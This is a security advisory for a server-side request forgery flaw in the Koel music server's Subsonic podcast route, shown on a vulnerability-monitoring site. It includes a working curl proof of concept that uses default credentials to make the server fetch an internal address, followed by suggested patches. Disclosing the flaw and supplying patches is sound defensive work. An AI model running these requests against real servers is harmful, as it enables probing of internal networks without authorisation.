Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w79m-f3jx-779v
No affected components available
Summary
Koel v9.6.0 protects the regular podcast subscription API with SafeUrl, but the Subsonic-compatible createPodcastChannel.view route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
This is distinct from GHSA-7j2f-6h2r-6cqc, which fixed unsafe episode enclosure URLs in versions <= 9.3.4. The issue here is a newer validation gap in the Subsonic route itself, still present in v9.6.0.
Details
SafeUrl protects the regular podcast API only
The regular podcast subscription path validates the feed URL with SafeUrl:
app/Http/Requests/API/Podcast/PodcastStoreRequest.php
return [
'url' => ['required', 'url', new SafeUrl()],
];
The Subsonic-compatible route does not:
routes/subsonic.phpcreatePodcastChannel.view
app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
return [
'url' => ['required', 'string', 'url'],
];
That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.
The URL is fetched immediately by the podcast parser
The attacker-controlled URL is used by the podcast service during channel creation:
app/Http/Controllers/Subsonic/CreatePodcastChannelController.phpapp/Services/Podcast/PodcastService.php
PodcastService::addPodcast() calls:
$parser = $this->createParser($url);
and createParser() resolves to:
return Poddle::fromUrl($url, 5 * 60, $this->client);
This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.
This bypasses Koel's intended SSRF control for podcast URLs
Koel already added SafeUrl to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
- Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
- Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
- Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/podcasts \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"url\":\"$TARGET_URL\"}"
Expected result:
- HTTP
422 - Error includes
The url must point to a public URL.
- Trigger the Subsonic route with the same URL:
curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode "url=$TARGET_URL"
Expected result:
- HTTP
200 - JSON includes
"status":"ok"
- Confirm the server-side request happened by checking the internal HTTP service logs.
During validation, the local HTTP test server received HEAD and GET requests for /feed.xml?run=1.
Impact
An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.
Validated impact:
- SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server
- Internal service discovery and request execution through the podcast parser
Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.
Remediation
The Subsonic podcast request validator should apply SafeUrl, and the parser entry point should reject unsafe targets as defense in depth.
Suggested patch for app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'url' => ['required', 'string', 'url'],
+ 'url' => ['required', 'string', 'url', new SafeUrl()],
];
}
}
Suggested defense-in-depth patch for app/Services/Podcast/PodcastService.php:
diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
--- a/app/Services/Podcast/PodcastService.php
+++ b/app/Services/Podcast/PodcastService.php
@@
private function createParser(string $url): Poddle
{
+ if (!$this->network->isSafeUrl($url)) {
+ throw FailedToParsePodcastFeedException::create($url);
+ }
+
return Poddle::fromUrl($url, 5 * 60, $this->client);
}
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard